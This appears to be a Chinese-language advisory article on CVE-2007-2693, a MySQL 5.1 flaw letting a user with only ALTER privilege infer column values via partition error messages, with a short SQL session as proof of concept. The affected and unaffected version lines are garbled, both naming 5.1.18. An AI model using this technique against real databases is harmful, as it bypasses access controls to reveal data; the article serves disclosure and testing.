Maison > Article > base de données > 导致MySQL Alter Table函数信息泄露的原因
以下的文章主要讲述的那些情况导致MySQL Alter Table函数的相关信息出现泄露漏洞,如果你在使用MySQL Alter Table中出现相关的情况的话,你就可以通过以下的文章对其有个研究吧! 受影响系统: MySQLABMySQL5.1.x 5.1.18 不受影响系统: MySQLABMySQL5.1.18
以下的文章主要讲述的那些情况导致MySQL Alter Table函数的相关信息出现泄露漏洞,如果你在使用MySQL Alter Table中出现相关的情况的话,你就可以通过以下的文章对其有个研究吧!
受影响系统:
<ol class="dp-xml"><li class="alt"><span><span>MySQL AB MySQL 5.1.x </span><span class="tag"><span> </span><span class="tag-name">5.1.18</span><span> </span></span></span></li></ol>
不受影响系统:
<ol class="dp-xml"><li class="alt"><span><span>MySQL AB MySQL 5.1.18 </span></span></li></ol>
描述:BUGTRAQ ID: 24008
CVE(CAN) ID: CVE-2007-2693
MySQL是一款使用非常广泛的开放源代码关系数据库系统,拥有各种平台的运行版本。
MySQL Alter Table功能实现上存在漏洞,能够以合法帐号登录到数据库系统的攻击者可能利用此漏洞非授权获取数据表相关的敏感信息。
如果用户对表格拥有ALTER权限的话,则即使没有SELECT权限也可以通过ALTER TABLE语句获得某些有关表格的敏感信息。例如,用户可以发布以下命令:
<ol class="dp-xml"><li class="alt"><span><span>ALTER TABLE table1 PARTITION BY LIST (column1) (PARTITION x VALUES IN (0)); </span></span></li></ol>
MySQL会返回错误消息:
<ol class="dp-xml"><li class="alt"><span><span>"Table has no partition for value 18". </span></span></li></ol>
这样该用户就可以知道存在column1 = 18的列。
测试方法:
以root用户发布:
<ol class="dp-xml"> <li class="alt"><span><span>mysql</span><span class="tag">></span><span> create table tu (s1 int); </span></span></li> <li><span>Query OK, 0 rows affected (0.00 sec) </span></li> <li class="alt"> <span>mysql</span><span class="tag">></span><span> insert into tu values (1); </span> </li> <li><span>Query OK, 1 row affected (0.00 sec) </span></li> <li class="alt"> <span>mysql</span><span class="tag">></span><span> grant alter on tu to molly@localhost; </span> </li> <li><span>Query OK, 0 rows affected (0.01 sec) </span></li> <li class="alt"><span> </span></li> </ol>
以molly@localhost发布:
<ol class="dp-xml"> <li class="alt"><span><span>mysql</span><span class="tag">></span><span> select * from tu; </span></span></li> <li><span>ERROR 1142 (42000): SELECT command denied to user 'molly'@'localhost' for table </span></li> <li class="alt"><span>'tu' </span></li> <li> <span>mysql</span><span class="tag">></span><span> alter table tu partition by list (s1) (partition p1 values in (1)); </span> </li> <li class="alt"><span>Query OK, 1 row affected (0.05 sec) </span></li> <li><span>Records: 1 Duplicates: 0 Warnings: 0 </span></li> <li class="alt"> <span>mysql</span><span class="tag">></span><span> alter table tu partition by list (s1) (partition p1 values in (2)); </span> </li> <li><span>ERROR 1513 (HY000): Table has no partition for value 1 </span></li> </ol>
以上的相关内容就是对MySQL Alter Table函数信息泄露漏洞的介绍,望你能有所收获。